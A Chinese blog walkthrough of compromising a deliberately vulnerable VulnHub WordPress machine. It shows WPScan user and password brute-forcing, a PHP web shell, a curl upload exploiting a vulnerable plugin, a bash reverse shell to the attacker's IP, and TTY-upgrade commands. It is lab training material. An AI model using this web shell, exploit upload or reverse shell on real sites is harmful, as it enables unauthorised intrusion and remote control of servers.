Wordpress-vulnhub渗透测试

前言

Wordpress的一个靶机,对于练习Wordpress框架的渗透挺有帮助的。

考点:Wordpress框架渗透,getshell后解决无tty的问题

渗透过程

靶机IP:192.168.1.72

KALIIP:192.168.1.75

扫端口

image-20200501083245382

发现是WordPress,用wpsan扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kali下集成的WPScan用法

1、刺探基础信息:
wpscan --url http://www.example.com

2、猜解后台用户名
wpscan --url http://www.example.com --enumerate u

3、使用字典暴破用户名admin的密码
wpscan --url http://www.example.com -P password.txt -U admin

4、扫描插件
wpscan --url http://www.example.com --enumerate p

5、扫描易受攻击的插件
wpscan --url http://www.example.com --enumerate vp

6、扫描所有插件
wpscan --url http://www.example.com --enumerate ap

渗透wordpress的思路:

1
2
3
4
(1)暴力破解其账户密码
尝试top10的账号,弱口令密码
用wpscan对用户名以及密码进行枚举等
(2)插件漏洞的破解

这里我尝试使用思路一失败,所以使用思路二

对其进行插件扫描:

1
wpscan --url http://192.168.1.72 --enumerate ap --plugins-detection aggressive

建议扫描的时候使用aggressive模式,不然有些插件扫描不出来

对扫出的插件去查看其历史漏洞,wp漏洞戳这里

image-20200501090026250

image-20200501090054529

image-20200501090346925

这个插件漏洞是可以使用的,这个靶机集成了非常多的wp的插件漏洞,一个个尝试,体验一下…..

shell文件:

1
2
3
4
5
<?php

echo system($_GET['cmd'])

?>

用于反弹shell,使用msf也是可以的。

1
cmd=bash -i >& /dev/tcp/192.168.1.75/7777 0>&1

根据POC,上传shell

1
curl -k -X POST -F "action=upload" -F "files=@/home/kali/Documents/test/shell.php" "http://192.168.1.72/wp-content/plugins/acf-frontend-display/js/blueimp-jQuery-File-Upload-d45deb1/server/php/index.php"

image-20200501091211571

shell的位置:

1
http://192.168.1.72/wp-content/uploads/uigen_2020/shell.php

image-20200501091717797

反弹shell

image-20200501091935653

image-20200501092541594

免密登陆,但是无tty,所以无法进行交互,解决方法

1
2
3
4
5
生成pty
python -c 'import pty; pty.spawn("/bin/bash")'

切换到后台
Ctrl+z

image-20200501093102843

1
stty -a

image-20200501093731727

1
2
3
4
5
6
7
8

# In Kali
$ echo $TERM
$ stty -a
$ stty raw -echo
$ fg
reset
... type.... 输入: xterm-256color
1
2
3
4
5
6
7
8
9
10
# In reverse shell
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols> # 你的终端大小
$ bash –i
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
$ export TERM=xterm
$ export SHELL=bash
$ cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc;cat ~/.bash_logout; env; set
$ export PS1='[\u@\h \W]\$ '

一顿操作获得tty

image-20200501094122899

image-20200501094236532

总结

这一部分命令有待研究:

1
2
3
4
5
6
$ bash –i
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
$ export TERM=xterm
$ export SHELL=bash
$ cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc;cat ~/.bash_logout; env; set
$ export PS1='[\u@\h \W]\$ '
Author: 我是小吴啦
Link: http://yoursite.com/2020/05/01/wordpress-vulnhub/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.